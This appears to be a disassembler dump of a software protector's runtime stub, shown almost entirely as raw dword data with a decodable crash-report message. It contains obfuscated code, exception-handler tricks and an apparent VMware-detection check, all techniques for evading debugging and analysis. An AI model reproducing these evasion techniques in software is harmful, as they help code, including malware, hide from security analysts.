		dd 0FE79B5FFh, 9D8907E2h, 7E020EDh, 0FE6595FFh,	0D28007E2h
		dd 0FC08595h, 4D85h, 89F96000h,	0E022A58Dh, 0C8E96107h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 8FA4C350h, 5D590BB1h, 13E960C5h
		dd 0
		dd 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh, 8B666A45h
		dd 858961FBh, 7E2FE7Dh,	7DB53160h, 0BE07E025h, 4576CA95h
		dd 7DB5FF61h, 6A07E2FEh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 1328C357h, 0E9244735h
		dd 10h,	2246C578h, 0D344956Bh, 0A9BA09DFh, 0E294AF4Dh
		dd 267D95FFh, 0DE907E0h, 24000000h, 0DB41C830h,	0A7C8E699h
		dd 32943FFAh, 0A95FEA81h, 0C08555BAh, 15850Fh, 10E90000h
		dd 0D1000000h, 0F99D3DBCh, 12C3CB6Dh, 5EECA1ECh, 6A13B912h
		dd 0D68B6610h, 569BD83h, 0F0007E0h, 4484h, 14E900h, 2A800000h
		dd 434BDC92h, 2178F75Dh, 1FD1CC36h, 5AABCA31h, 858D05B8h
		dd 7E2FED6h, 0FC60D18Ah, 0CE9h,	9CFAB200h, 43884308h, 4E5EB008h
		dd 16E961EAh, 60000000h, 3E3CE281h, 8B614FE6h, 0AC858DF8h
		dd 107E2FEh, 0E026658Dh, 0B70F5007h, 79B5FFFBh,	0F07E2FEh
		dd 58Eh, 20E7B900h, 8D8B3EC9h, 7E01E2Dh, 0FE7195FFh, 8D0107E2h
		dd 7E00579h, 850FC085h,	2Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 2AC35343h, 2215B84Ah, 53DEB198h
		dd 1DBDBD8Bh, 858907E0h, 7E2FE7Dh, 13D18D03h, 6A07E0h
		dd 2121BD8Bh, 6A07E0h, 13E8h, 0D7450D00h, 9649183Ch, 4D1CAEBFh
		dd 0AC67E284h, 5E938D3Dh, 3415BD89h, 0FF5F07E0h, 0E2FE7DB5h
		dd 6995FF07h, 6A07E2FEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0B1AFC355h,	0C18D89ABh
		dd 5207E02Fh, 3DBD8960h, 8B07E000h, 855961FAh, 9850FC0h
		dd 89000000h, 0E0078595h, 0EEF58007h, 0FE7DB5FFh, 8B6607E2h
		dd 7D95FFCFh, 6007E026h, 0D33C781h, 9D8909D8h, 7E00071h
		dd 16E9B961h, 0C0853D04h, 22850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F3367EC3h
		dd 26D33D62h, 9503006Ah, 7E01805h, 8068h, 9D952900h, 6A07E014h
		dd 0D958B03h, 6A07E01Ah, 2BB96600h, 0E9006AD2h,	0Dh, 23EF63D1h
		dd 17C8B694h, 0BFA89A13h, 6880h, 8B66C000h, 0F5B5FFCEh
		dd 0F07E2FEh, 18Fh, 95FFF800h, 7E02E49h, 0DBCDCA81h, 0F8836819h
		dd 0D850FFFh, 89000006h, 0E0257DB5h, 6385FF07h,	6607E309h
		dd 0BD83FB8Bh, 7E30963h, 0B1840F02h, 8B000004h,	0E0209595h
		dd 3B858D07h, 0FF005B24h, 952953D0h, 7E008ADh, 8E858D59h
		dd 81005B1Eh, 0A8FC26E7h, 0FD0FF12h, 68Eh, 39952900h, 8B07E013h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0A5BB19D8h, 13E8EBh, 85890000h, 472AEFF4h
		dd 0EDAF0D3h, 46B9BFD7h, 169385AEh, 4850FC3h, 66000000h
		dd 5A1B3FBAh, 1FE5BD8Bh, 0BD8307E0h, 7E006B1h, 83097500h
		dd 0E001C5BDh, 19740007h, 0C08B5350h, 7D8B8h, 0F5858900h
		dd 8D07E020h, 0E2BC629Dh, 5BD3FF07h, 0C5BD8358h, 7E001h
		dd 53501774h, 7D8B8h, 0F5858900h, 8D07E020h, 0E2B9519Dh
		dd 5BD3FF07h, 0BE858h, 0FB940000h, 0BC477DBFh, 0EB8D055Bh
		dd 88BF66DCh, 0F605F54h, 0BD31CBBFh, 7E02641h, 15BD8B61h
		dd 8B07E030h, 68CB8BC0h, 0F003Fh, 0E8006AF8h, 9, 91B1D5D7h
		dd 297AF661h, 7DCD80FCh, 89006A5Ah, 0E0315DB5h,	8E907h
		dd 5810000h, 6AFF4A4Bh,	95FF8A6Eh, 7E01675h, 1E899509h
		dd 0C08507E0h, 2A2DBD0Bh, 858907E0h, 7E2FE79h, 8AAEE981h
		dd 0FF6806F7h, 0E9000F01h, 0Dh,	77ED2268h, 42253A3Bh, 72C7553Ch
		dd 0A5BD89E3h, 8307E01Fh, 0E00569BDh, 840F0007h, 48h, 0C8D0Fh
		dd 890F0000h, 6, 30159D89h, 72BF07E0h, 8D14B208h, 0E2FED685h
		dd 0CDE68007h, 32E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BD3126AEh, 7E0231Dh
		dd 0FEAC858Dh, 816607E2h, 6607E7F7h, 507A7FB9h,	0AE9h
		dd 0D8B94900h, 25BB99E6h, 8BE90CB9h, 0E033358Dh, 79B5FF07h
		dd 8907E2FEh, 0E0149D85h, 0E58D8907h, 0FF07E012h, 0E2FE7195h
		dd 0ED850107h, 8907E01Fh, 0E2FE7D85h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
		dd 0D5CE02F4h, 0D78166D2h, 85C78AA1h, 7E017B9h,	0
		dd 42BF29BAh, 7DBD832Ch, 7E2FEh, 26B840Fh, 0E8560000h
		dd 12h,	0C2FFB29Ah, 33EEA76Ch, 69E33EFh, 5B1DAE6Eh, 0F38A7BC4h
		dd 8D0B5A5Fh, 7E022E9h,	15B858Dh, 6A07E3h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 8372A7C3h
		dd 362662D2h, 9531302Bh, 7E01B35h, 57006A50h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0B797E517h
		dd 0B52DFAEDh, 7EDE8083h, 1D419533h, 16A07E0h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 49C35141h, 14E877h
		dd 0E8030000h, 65837B66h, 0DC909B1Ah, 0EAB2E741h, 0E9D4E3D2h
		dd 958B50C8h, 7E03445h,	7DB5FF59h, 8907E2FEh, 0E02B35BDh
		dd 7595FF07h, 2907E2FEh, 0E01D3D8Dh, 7DB5FF07h,	2907E2FEh
		dd 0E03401B5h, 7D95FF07h, 6A07E026h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 8C98C350h
		dd 0F01FF68h, 11E900h, 0BE010000h, 0DF994230h, 7D7271BFh
		dd 5C69F25Ch, 8980163Eh, 0E019FD95h, 69BD8307h,	7E005h
		dd 3F840Fh, 0E8600000h,	12h, 0D77C8B4Fh, 3D931AEDh, 1D4049DAh
		dd 57545B4Dh, 0E7BA78E7h, 5957935Fh, 3161BD89h,	666107E0h
		dd 858DCE8Bh, 7E2FED6h,	2FC1BD8Bh, 25E907E0h, 8B000000h
		dd 0E00F3D95h, 0AC858D07h, 0E907E2FEh, 14h, 4CEF26CDh
		dd 9081146Eh, 1E202082h, 4D0F8747h, 7C31D9C5h, 5E950h
		dd 1B0000h, 0FF4651D7h,	0E2FE79B5h, 0C2E78107h,	0FF2645EBh
		dd 0E2FE7195h, 0E58D2307h, 8B07E030h, 0E0195D8Dh, 7D858907h
		dd 2B07E2FEh, 0E026DD95h, 7DB5FF07h, 6A07E2FEh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0D4D4C351h, 3F731728h, 0B1BD3397h, 0FF07E018h, 0E2FE6D95h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0B7D9A354h, 0B5FF57EFh, 7E2FE7Dh, 8B00A5B9h
		dd 7D95FF12h, 6A07E026h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0AE78C357h,	575945C7h
		dd 0FE9h, 0A0BD7F00h, 7D81ABE7h, 0D3E7569h, 50DF2465h
		dd 518D8B5Fh, 0B607E006h, 0F633E9A9h, 0BD89FFFFh, 7E019CDh
		dd 9C6B5FFh, 0BA6607E3h, 95FF0C86h, 7E02091h, 858B65B2h
		dd 7E01C09h, 11D9BD8Bh,	0F48A07E0h, 608E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0CE1A36C7h, 453465DDh, 0F56F968h, 128Dh, 0CE800h, 0B2A30000h
		dd 0D433AD8Eh, 0AE97D6F9h, 595F1584h, 26419529h, 0B58D07E0h
		dd 7E3017Bh, 0AAE98166h, 3995015Bh, 8D07E030h, 0E2AE5885h
		dd 0E58D8907h, 0FF07E01Ah, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0AA72EC15h
		dd 55B5893Bh, 6A07E029h, 95FFF900h, 7E028FDh, 4598D8Bh
		dd 0F38B07E0h, 11E9h, 0C75CA000h, 55A870D3h, 0A2DE9EFBh
		dd 2F8365E2h, 858D90BDh, 7E2AE58h, 2F79BD8Bh, 0D0FF07E0h
		dd 2921BD89h, 6A07E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 4C35343h, 9589F8E8h, 7E016B5h, 28FD95FFh
		dd 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 53B127C3h, 0D7852A65h, 0BD8B637Ch, 7E0138Dh
		dd 7AB9C08Bh, 8341BF6Fh, 0E006B1BDh, 9750007h, 1C5BD83h
		dd 740007E0h, 8B535019h, 7D9B8C0h, 85890000h, 7E020F5h
		dd 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h
		dd 7D9B853h, 85890000h,	7E020F5h, 0B9519D8Dh, 0D3FF07E2h
		dd 0BD89585Bh, 7E02E6Dh, 7AD9D89h, 0BA6607E0h, 0C08B2E0Ah
		dd 0EE8h, 91CC7600h, 0DBC82AF6h, 5606D636h, 895A9487h
		dd 0E0155595h, 0FC505A07h, 8D53D88Bh, 0E014DD9Dh, 89038B07h
		dd 50438B03h, 8D504389h, 0E3095F9Dh, 89038B07h,	6A5B03h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 880F8AC3h, 4, 8492BA66h, 12AEA3B9h, 0EA816674h, 6AA5A8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C6C35141h
		dd 963FECB0h, 96839625h, 895FF550h, 0E028F985h,	5F858D07h
		dd 6A07E309h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 6E92C355h, 0BD8B5042h,	7E03485h
		dd 7D8D8B51h, 5907E015h, 6A606Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 591D74C3h, 80AFF9EFh
		dd 8B60096Ah, 0E025F58Dh, 0BBF6607h, 858D6197h,	7E014DDh
		dd 0AE9h, 324FDE00h, 0D0E92C54h, 50497C45h, 79BD2B60h
		dd 0E807E033h, 10h, 88DD8373h, 0F5C43DADh, 0F6DA48FCh
		dd 73E6126Dh, 0DE8h, 1B6D0900h,	0A90852AFh, 0FBCFB43h
		dd 5B598828h, 890F5661h, 3, 5AD1B70Fh, 0CE9006Ah, 84000000h
		dd 0C6C249FCh, 2B52F8D0h, 0F2EA6FCh, 6AD7B7h, 68FE8B66h
		dd 1800h, 4598531h, 0AE907E0h, 95000000h, 89187CBEh, 73BC9F0Fh
		dd 10E95332h, 2C000000h, 5ABBA826h, 3CEB2D28h, 4EB3F12Ch
		dd 0FFB21E25h, 0E01EB995h, 19D0107h, 0FF07E002h, 0E001B995h
		dd 0DE907h, 4CF30000h, 1B05D1B2h, 91118387h, 0FF9C13C1h
		dd 0E309C6B5h, 0BDC28007h, 209195FFh, 0F68007E0h, 0DD858DCBh
		dd 6A07E014h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8BFDC357h, 0E006BD95h,	18408B07h
		dd 12E9h, 65CCAA00h, 0CBC9E4CDh, 90E1C10Fh, 0DFB64522h
		dd 0C72072B2h, 0E020CD85h, 7, 0C9B70F00h, 569BD83h, 0F0007E0h
		dd 3E84h, 0ACEE8000h, 8C3Dh, 8D830F00h,	6A000001h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0B025C356h, 0B1A710F5h, 0E9B589CBh, 0E907E01Dh, 14h
		dd 3DCB8B66h, 98h, 152830Fh, 958B0000h,	7E004BDh, 243B858Dh
		dd 8166005Bh, 0FCE6E9D7h, 0BD8BD0FFh, 7E01D61h,	68B0Fh
		dd 958B0000h, 7E026A9h,	1E8E858Dh, 810F005Bh, 6, 18B9BD8Bh
		dd 565607E0h, 0CE8h, 6F9B6700h,	420937FAh, 11CB6B38h, 595F5949h
		dd 13E9D0FFh, 7A000000h, 0AEDBA021h, 77F1C840h,	0F670412Fh
		dd 0BD21A1FBh, 0C08B9762h, 0CE9h, 7332FC00h, 0E02D2768h
		dd 0D61BEE5Fh, 0B1BD8351h, 7E006h, 0BD830975h, 7E001C5h
		dd 50197400h, 0B8C08B53h, 0BC6h, 20F58589h, 9D8D07E0h
		dd 7E2BC62h, 585BD3FFh,	1C5BD83h, 740007E0h, 0B8535017h
		dd 0BC6h, 20F58589h, 9D8D07E0h,	7E2B951h, 585BD3FFh, 14E9h
		dd 8F185200h, 0FB5D5FE5h, 73403FC6h, 41CCC676h,	64964CF7h
		dd 31958B6Eh, 5107E000h, 59D6B70Fh, 0BD8BC08Bh,	7E01B81h
		dd 0FFFF883h, 3385h, 0CD958B00h, 0C707E000h, 0E018D985h
		dd 7, 0BDB1BF00h, 0EDBF39F8h, 0E92CFA3Dh, 0B3h,	2BCEB70Fh
		dd 0E01B75BDh, 1FE907h,	0D7810000h, 294C8EDDh, 0F01F883h
		dd 1085h, 41BD8B00h, 0E907E013h, 0D1h, 0BFA7BF66h, 0F0C7E9F9h
		dd 0BD8BFFFFh, 7E01BA1h, 0B589C08Bh, 7E02F59h, 6B1BD83h
		dd 750007E0h, 0C5BD8309h, 7E001h, 53501974h, 0DDB8C08Bh
		dd 89000007h, 0E020F585h, 629D8D07h, 0FF07E2BCh, 83585BD3h
		dd 0E001C5BDh, 17740007h, 0DDB85350h, 89000007h, 0E020F585h
		dd 519D8D07h, 0FF07E2B9h, 51585BD3h, 0E58D8B5Ah, 6607E018h
		dd 8B0180B9h, 860FF5C0h, 8, 28B0Fh, 0F0B50000h,	24CE9h
		dd 69853100h, 8D07E01Ah, 0E3076385h, 0CD958B07h, 8907E001h
		dd 0E3095B85h, 91BD8907h, 0E907E02Ch, 79h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 55C35545h, 0D56CD88Fh
		dd 0C2182F78h, 0E680D4BAh, 6B858D17h, 5307E305h, 820Fh
		dd 40590000h, 0B019F281h, 858976C7h, 7E3095Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D8C35141h, 3CE61594h
		dd 4ED25719h, 2860FB6h,	0B1000000h, 0C781669Dh,	0B70F10D6h
		dd 8D346ACBh, 0E021E985h, 0B5FF5007h, 7E3095Bh,	95FF006Ah
		dd 7E02F71h, 0F07F883h,	16884h,	0DB8C6600h, 0F04C3F6h
		dd 10285h, 5985C600h, 5607E007h, 0A8B85268h, 1B5FF9Ch
		dd 8D07E02Fh, 0E039F885h, 6AD0FF07h, 10006804h,	646A0000h
		dd 0D0FF006Ah, 9CE8589h, 85C607E3h, 7E00759h, 0AC9B6847h
		dd 0B5FFEC18h, 7E02F01h, 39F8858Dh, 0D0FF07E0h,	0F08BD0FFh
		dd 75985C6h, 684F07E0h,	0C62F2661h, 1B71B5FFh, 858D07E0h
		dd 7E039F8h, 9D8DD0FFh,	7E309CAh, 56286A53h, 0C085D0FFh
		dd 85C60075h, 7E00759h,	64986841h, 0B5FFDB87h, 7E01B71h
		dd 39F8858Dh, 0D0FF07E0h, 9E78589h, 85C607E3h, 7E00759h
		dd 0E7A4684Ch, 0B5FF80A4h, 7E01B71h, 39F8858Dh,	0D0FF07E0h
		dd 9CE9D8Bh, 5B8D07E3h,	9D8D5304h, 7E309D3h, 0FF006A53h
		dd 0CE9D8BD0h, 0C707E309h, 103h, 0C43C700h, 2, 33699D8Bh
		dd 85C707E0h, 7E02E01h,	0
aJjj:
		unicode	0, <jjj>
aLaUSj		db '‹Î',9,'ã',7,'Sj',0
		db 0FFh
		dd 0E309CAB5h, 0E795FF07h, 0C607E309h, 0E0075985h, 97684507h
		dd 0FF92A5F7h, 0E03085B5h, 0F8858D07h, 0FF07E039h, 6A006AD0h
		dd 66D0FF02h, 0C3F6DB8Ch, 8B327504h, 0E309CE9Dh, 0C43C707h
		dd 0
		dd 6A006Ah, 9CE9D8Bh, 6A5307E3h, 0CAB5FF00h, 0FF07E309h
		dd 0E309E795h, 0CAB5FF07h, 0FF07E309h, 0E001B995h, 0FF006A07h
		dd 0E028FD95h, 0A1952907h, 8B07E02Ch, 0E00689BDh, 95316007h
		dd 7E0186Dh, 6840Fh, 9D2B0000h,	7E01819h, 6A858D61h, 0BA07E33Eh
		dd 7ABD224Ch, 11E96050h, 0DA000000h, 0D2249282h, 0EE0366Dh
		dd 9AE8273Dh, 9D016D7Fh, 0FF6461F5h, 35h, 0F1B58900h, 6407E033h
		dd 2589h, 83FC0000h, 0E02FF5BDh, 840F0007h, 75h, 59952360h
		dd 5307E032h, 5A93E880h, 850B6061h, 7E01019h, 14D5BD89h
		dd 836107E0h, 0E016B1BDh, 850F0107h, 4Dh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 5BC35646h, 0EAED4FBAh
		dd 658D8B5Dh, 8007E025h, 0E30DE7BDh, 850F0007h,	19h, 2D558D8Bh
		dd 89E907E0h, 60000001h, 11CDBD89h, 858907E0h, 7E008CDh
		dd 29DB3361h, 0E01D1DB5h, 0E8C03307h, 5, 276A3E48h, 405AF91Fh
		dd 0B073F0Fh, 58F64h, 83000000h, 8D8B04C4h, 7E0162Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A4C35646h, 0A28F113h
		dd 2A8D9D89h, 0FB8307E0h, 0C840FFFh, 0F8000000h, 111E9h
		dd 0D5958900h, 0E907E01Ch, 84h,	0DE9h, 967E3400h, 8DA3E816h
		dd 366E1EA9h, 4C8B6A63h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h
		dd 33040000h, 5C8BC3C0h, 0E8550C24h, 0
aBamULg		db ']íŒ>ã',7,'‹ƒ¸',0
		align 4
		dd 68858D00h, 8907E33Fh, 0B883h, 0C0335D00h, 53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 534FC7C8h, 0BE9h, 23EE9700h,	0A77D5FC5h, 0A9C47159h
		dd 0D2B70F5Ah, 3E82858Dh, 0F98B07E3h, 52006A50h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 5118B489h, 2671BD8Bh, 0BD8907E0h, 7E01915h, 35FF64h
		dd 81000000h, 7286FED9h, 25896444h, 0
		dd 0C800Fh, 7E90000h, 0EB000000h, 50B7D1Bh, 0AB917FDh
		dd 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h
		dd 810034B6h, 345FE8EAh, 0FB81ED00h, 564D5868h,	85C70A75h
		dd 7E01115h, 1,	58F64h,	83000000h, 8D8B04C4h, 7E01691h
		dd 0FC9B70Fh, 0C08BFABFh, 164DBD8Bh, 0BD8307E0h, 7E006B1h
		dd 83097500h, 0E001C5BDh, 19740007h, 0C08B5350h, 43DB8h
		dd 99858900h, 8D07E023h, 0E2BCC99Dh, 5BD3FF07h,	0C5BD8358h
		dd 7E001h, 53501774h, 43DB8h, 99858900h, 8D07E023h, 0E2B96A9Dh
		dd 5BD3FF07h, 58C0F58h,	66000000h, 0F65EE981h, 1AE28166h
		dd 6EA2BAECh, 0E18127D5h, 6F5ABF2Bh, 47E9C08Bh,	4000001h
		dd 31000000h, 3031392Eh, 7 dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 63202C65h, 61746E6Fh, 74207463h
		dd 73206568h, 7774666Fh, 20657261h, 65766564h, 65706F6Ch
		dd 77207372h, 20687469h, 20656874h, 6C6C6F66h, 6E69776Fh
		dd 6F632067h, 2E736564h, 61685420h, 79206B6Eh, 0A2E756Fh
		dd 200D0A0Dh, 20202020h, 28202020h, 73657270h, 54432073h
		dd 432B4C52h, 206E6F20h, 73696874h, 6E697720h, 20776F64h
		dd 63206F74h, 2079706Fh, 63206F74h, 6270696Ch, 6472616Fh
		dd 20202029h, 0A0D0A20h, 7265560Dh, 6E6F6973h, 203D2020h
		dd 0D0A7325h, 63656843h, 204E496Bh, 25203D20h, 430D0A64h
		dd 6B636568h, 2054554Fh, 6425203Dh, 72500D0Ah, 4E49636Fh
		dd 3D202020h, 0A642520h, 6F72500Dh, 54554F63h, 203D2020h
		dd 0D0A6425h, 74697845h, 20204E49h, 25203D20h, 450D0A64h
		dd 4F746978h, 20205455h, 6425203Dh, 50540D0Ah, 20206E69h
		dd 3D202020h, 0A642520h, 0BD83000Dh, 7E01D85h, 2D840F00h
		dd 8D000001h, 0E2B78185h, 858D5007h, 7E2B6EBh, 16850h
		dd 95FF8000h, 7E2B791h,	3FF3858Dh, 8D5007E3h, 0E33FFD85h
		dd 6A5007h, 858D006Ah, 7E2B6FFh, 81B5FF50h, 0FF07E2B7h
		dd 0E022FD95h, 0F3858D07h, 5007E33Fh, 4001858Dh, 6A5007E3h
		dd 8D006A00h, 0E2B71185h, 0B5FF5007h, 7E2B781h,	22FD95FFh
		dd 858D07E0h, 7E33FF3h,	0D858D50h, 5007E340h, 6A006Ah
		dd 0B75E858Dh, 0FF5007E2h, 0E2B781B5h, 0FD95FF07h, 8D07E022h
		dd 0E33FF385h, 858D5007h, 7E34015h, 6A006A50h, 7C858D00h
		dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E022FDh, 3FF3858Dh
		dd 8D5007E3h, 0E3401185h, 6A5007h, 858D006Ah, 7E2B765h
		dd 81B5FF50h, 0FF07E2B7h, 0E022FD95h, 0F3858D07h, 5007E33Fh
		dd 4005858Dh, 6A5007E3h, 8D006A00h, 0E2B76D85h,	0B5FF5007h
		dd 7E2B781h, 22FD95FFh,	858D07E0h, 7E33FF3h, 9858D50h
		dd 5007E340h, 6A006Ah, 0B774858Dh, 0FF5007E2h, 0E2B781B5h
		dd 0FD95FF07h, 0FF07E022h, 0E2B781B5h, 4995FF07h, 0E907E029h
		dd 0A2h, 1B15BD83h, 0F0007E0h, 9584h, 0B1BD8300h, 7E016h
		dd 11850Fh, 958B0000h, 7E02A89h, 1CF8C281h, 0FE90000h
		dd 8D000000h, 0E014DD95h, 34528B07h, 0C340C281h, 95893BD4h
		dd 7E01E09h, 1E09BD83h,	0F0007E0h, 5584h, 99D8B00h, 8307E01Eh
		dd 38B4CC3h, 3FFD8589h,	9D8B07E3h, 7E01E09h, 8B50C383h
		dd 1858903h, 8B07E340h,	0E01E099Dh, 54C38307h, 8589038Bh
		dd 7E3400Dh, 1E099D8Bh,	0C38307E0h, 89038B58h, 0E3401185h
		dd 99D8B07h, 8307E01Eh,	38B5CC3h, 40058589h, 0BD8307E3h
		dd 7E01D85h, 0D850F00h,	83000000h, 0E01B15BDh, 840F0007h
		dd 68h,	4015B5FFh, 0B5FF07E3h, 7E34009h, 4005B5FFh, 0B5FF07E3h
		dd 7E34011h, 400DB5FFh,	0B5FF07E3h, 7E34001h, 3FFDB5FFh
		dd 858D07E3h, 7E33FF7h,	2F858D50h, 5007E340h, 215858Dh
		dd 0FF5007E0h, 0E0188195h, 24C48307h, 858D406Ah, 7E34019h
		dd 15858D50h, 5007E002h, 95FF006Ah, 7E02F71h, 95FF016Ah
		dd 7E028FDh, 8160C18Bh,	57D7A8D9h, 0E1816640h, 0C08B5649h
		dd 38F0Fh, 8B660000h, 0B1BD83D3h, 7E006h, 0BD830975h, 7E001C5h
		dd 50197400h, 0B8C08B53h, 40Eh,	20F58589h, 9D8D07E0h, 7E2BC62h
		dd 585BD3FFh, 1C5BD83h,	740007E0h, 0B8535017h, 40Eh, 20F58589h
		dd 9D8D07E0h, 7E2B951h,	585BD3FFh, 0E3BE6653h, 6A5A20h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0F394CEC3h, 0FBFF6158h, 8B458A38h, 83DFB5C0h, 0E02FF5BDh
		dd 840F0007h, 4Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0F5C35646h, 9DFABD69h, 0C1470880h, 29CE9E9h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0EE2D5C3h, 9141DE2Fh, 0D48ADF8Ch,	0C7F766F9h
		dd 850F0004h, 26Ah, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 4EC35646h, 0FF59CD98h, 31B11AA3h, 13E9h
		dd 0DE9D300h, 79FE43D6h, 0F0AF291Fh, 0FF191426h, 0FD5FD63h
		dd 569BD83h, 0F0007E0h,	0D85h, 0BE6600h, 218E997h, 0B2570000h
		dd 0FF2B5A2Dh, 8E9D8DF5h, 0F07E346h, 93F8F1BFh,	4810F60h
		dd 66000000h, 0E91D8EBEh, 5, 2B1DBEC4h,	50506151h, 8E0F52h
		dd 0F000000h, 0BE525031h, 76A163D0h, 5250310Fh,	585A310Fh
		dd 585A585Ah, 64D38B93h, 35FFh,	0D68B0000h, 258964F5h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DAC35141h
		dd 44252CD0h, 8166C48Bh, 0CDEAD6D2h, 8000EB01h,	6AD9D5h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 17C12DC3h, 0E934E180h, 5, 886AC965h,	6438B560h, 58Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 10DC31C3h, 26883064h, 0EE8160BCh,	773FD745h
		dd 5FD68B57h, 1235BE61h, 0C4831CDAh, 55006A04h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0FC00B65h
		dd 10184h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 77E3230Ch, 0D1576EE1h, 61FC28F0h
		dd 0BD8DF2B6h, 7E0748Dh, 14E8h,	7C1A2C00h, 789750D4h, 22F0EB41h
		dd 5E04C365h, 59A6C17Ah, 0B8A0F62h, 0E9000000h,	6, 0CED9D8D2h
		dd 0B85A6322h, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	24C35646h, 0AEB67220h, 0F2C95D75h, 18B0Fh, 0FFF90000h
		dd 0F18166E7h, 8B57FFB8h, 8B10245Ch, 0B883h, 40B60F00h
		dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ACC35646h
		dd 8B66062Ah, 13E8D7h, 61280000h, 9038D1EFh, 1A5A3D13h
		dd 71F15A1Ah, 1F510EECh, 0EE8B1h, 48E60000h, 23118594h
		dd 0F476A196h, 7AD9A86h, 8A615A5Eh, 0C08BF5C8h,	0BD83CCB1h
		dd 7E006B1h, 83097500h,	0E001C5BDh, 19740007h, 0C08B5350h
		dd 40EB8h, 99858900h, 8D07E023h, 0E2BCC99Dh, 5BD3FF07h
		dd 0C5BD8358h, 7E001h, 53501774h, 40EB8h, 99858900h, 8D07E023h
		dd 0E2B96A9Dh, 5BD3FF07h, 0D6B70F58h, 8557CA81h, 0C08B3B3Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FC35242h
		dd 81AD0A09h, 4A4EAD2h,	0E8C28B64h, 0Fh, 5DDCACF8h, 680D93EAh
		dd 0ED217F1h, 0FFE4C5Fh, 288h, 5B5F5700h, 5E9h,	0F5A63500h
		dd 0C3818FB6h, 6E0Ch, 13E9h, 0EB3100h, 4341A007h, 0ADAAB493h
		dd 2C4DD4D7h, 14C7C790h, 13E8C033h, 5E000000h, 76EE00BCh
		dd 4F90840Bh, 7265EB54h, 0BFC079C9h, 8B5ED828h,	0BE66030Ch
		dd 0E981390Ah, 6694D35Eh, 9102C181h, 0E9815CA8h, 5AEADF20h
		dd 7E8h, 0EA119A00h, 18D4843Fh,	13E851h, 3FCD0000h, 0FBF431C1h
		dd 187461DFh, 0F3CED811h, 4C66F3FAh, 5F5A5F57h,	0BF030C89h
		dd 3C46A3Ch, 83F8B70Fh,	484801E8h, 0DCF88148h, 0FFFFF92h
